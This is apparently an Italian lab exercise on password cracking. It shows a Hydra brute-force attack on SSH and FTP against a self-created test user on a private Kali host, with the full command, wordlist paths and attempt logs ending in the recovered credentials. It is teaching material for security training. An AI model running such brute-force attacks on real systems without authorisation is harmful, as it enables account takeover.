

Authentication cracking con Hydra

Creazione dell'utente test_user

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is SHA256:8btXeYWEpnbInhK5H0Uu16wyDGMcIi0/BFSvJIAU50o.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

Dato in pasto a Hydra le due liste per craccare password/utente

```
(kali㉿kali)-[~]
$ hydra -V -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 08:49:27
[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~10762220532
893 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 2 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 3 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 4 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 5 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 6 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 7 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "111111" - 8 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234567" - 9 of 43048882131570 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "dragon" - 10 of 43048882131570 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123123" - 11 of 43048882131570 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "baseball" - 12 of 43048882131570 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "abc123" - 13 of 43048882131570 [child 1] (0/0)
```

Risultati

```
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "admin" - 29 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "" - 30 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "user" - 31 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "passw" - 32 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "mfsadmin" - 33 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "123456" - 34 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "mfsadmin" - pass "testpass" - 35 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "admin" - 36 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "" - 37 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "user" - 38 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "passw" - 39 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "mfsadmin" - 40 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "123456" - 41 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "testpass" - 42 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin" - 43 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "" - 44 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "user" - 45 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "passw" - 46 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mfsadmin" - 47 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 48 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 49 of 49 [child 3] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
```

```
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "user" - 38 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "passw" - 39 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "mfsadmin" - 40 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "123456" - 41 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "123456" - pass "testpass" - 42 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "admin" - 43 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "" - 44 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "user" - 45 of 49 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "passw" - 46 of 49 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "mfsadmin" - 47 of 49 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 48 of 49 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 49 of 49 [child 0] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
```